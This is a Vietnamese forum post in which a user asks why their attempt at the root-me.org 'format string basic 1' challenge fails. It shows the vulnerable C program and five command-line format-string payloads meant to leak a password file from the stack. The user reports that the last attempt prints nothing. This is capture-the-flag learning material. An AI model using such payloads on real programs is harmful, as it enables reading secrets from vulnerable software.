ELF x86: format string basic 1

Thảo luận trong 'Exploitation' bắt đầu bởi com0t, 30/10/18, 02:10 AM.

  1. com0t

    com0t New Member

    Tham gia: 11/07/17, 12:07 AM
    Bài viết: 3
    Đã được thích: 0
    Điểm thành tích:
    1
    mình làm bài trong root-me.org phần : format string basic 1 thì gặp lỗi không lấy được pass.
    Không hiểu thiếu hay sai bước nào? Ai giúp mình tìm lỗi sai với!!!
    Thanks!!!
    1. #include <stdio.h>
    2. #include <unistd.h>

    3. int main(int argc, char *argv[]){
    4. FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
    5. char buffer[32];
    6. fgets(buffer, sizeof(buffer), secret);
    7. printf(argv[1]);
    8. fclose(secret);
    9. return 0;
    10. }
    Trình tự mình làm:
    B1: Tìm địa chỉ biến buffer trong gdb: 0xb7fd0ed8
    B2: quét stack: ./ch5 `python -c "print 'AAAA'+'%08x.'*138"`
    B3: Thay địa chỉ buffer cho AAAA: ./ch5 `python -c "print '\xd8\x0e\xfd\xb7'+'%08x.'*138"`
    B4 Căn để đọc được chuỗi đầu tiên: ./ch5 `python -c "print '\xd8\x0e\xfd\xb7'+'%08x.'*134+'%x%x'"`
    B5: chuyển %x thành %s để đọc: ./ch5 `python -c "print '\xd8\x0e\xfd\xb7'+'%08x.'*134+'%x%s'"`
    Và kết quả không hiển gì cả!!!
     

    Các file đính kèm:

    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan